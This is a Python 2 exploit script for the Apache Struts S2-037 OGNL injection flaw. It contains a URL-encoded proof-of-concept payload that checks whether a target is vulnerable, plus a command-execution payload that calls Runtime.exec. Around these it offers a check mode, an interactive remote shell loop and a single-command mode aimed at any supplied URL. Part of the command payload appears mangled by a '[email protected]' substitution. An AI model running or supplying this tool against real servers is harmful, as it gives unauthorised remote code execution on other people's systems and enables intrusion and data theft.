#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import argparse

# PoC
s2037_poc = "/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse"

# CommandExP
cmd_exp = "/(%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=ShowMeCommand"

'''
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
			'Cookie': 'JSESSIONID=75C9ED1CD9345875BC5328D73DC76812',
			'referer': 'http://www.baidu.com/',
}
'''

def verity(url):
	try:
		poc_url = url+s2037_poc
		print "."*len(url)
		print "[checking] " + url
		print "."*len(url)
		s = requests.session()
		res = s.post(poc_url, timeout=4)
		if res.status_code == 200 and "7880820" == res.content.rstrip() :
			return True
		else:
			return False

	except Exception, e:
		print "Failed to connection target, try again.."
		return False


def cmdTool(exp_url):
	get_url_exp = exp_url + cmd_exp
	while True:
		comm = raw_input("~$ ")
		if comm == "q":
			exit(0)
		temp_exp = get_url_exp.replace("ShowMeCommand", comm)
		try:
			print "="*80
			print "[Result]"
			print "_"*80
			#r = requests.get(temp_exp, headers=headers, timeout=5)
			r = requests.get(temp_exp, timeout=5)
			resp = r.text.encode("utf-8")
			print resp
			print "="*80
		except:
			print "error,try again.."

def ExecOneCmd(exp_url , command):
	try:
		get_url_exp = exp_url + cmd_exp
		temp_exp = get_url_exp.replace("ShowMeCommand", command)
		print "="*80
		print "[Result]"
		print "_"*80
		#r = requests.get(temp_exp, headers=headers, timeout=5)
		r = requests.get(temp_exp, timeout=5)
		resp = r.text.encode("utf-8")
		print resp
		print "="*80
		return True
	except:
		return False

if __name__ == '__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument('-u', help='the target url.', required=True)
	parser.add_argument('-check', help='yes|no', required=False)
	parser.add_argument('-shell', help='get os shell (yes|no)', required=False)
	parser.add_argument('-command', help='yes|no', required=False)
	args = parser.parse_args()
	args_dict = args.__dict__

	try:
		#print banner
		if not (args_dict['u'] == None):
			if not (args_dict['check'] == None):
				url = args_dict['u']
				if args_dict['check'] == "yes":
					isvuln = verity(url)
					if isvuln:
						print "{url} is vulnerable S2-037.".format(url=url)
						exit(0)
					else:
						print "{url} is no vulnerable..".format(url=url)
						exit(0)
			if not (args_dict['shell'] == None):
				if args_dict['shell'] == "yes":
					url = args_dict['u']
					cmdTool(url)
				exit(0)

			if not (args_dict['command'] == None):
				url = args_dict['u']
				command = args_dict['command']
				ExecOneCmd(url, command)
				exit(0)

		print parser.print_usage()
	except Exception,e:
		print parser.print_usage()
		exit(-1)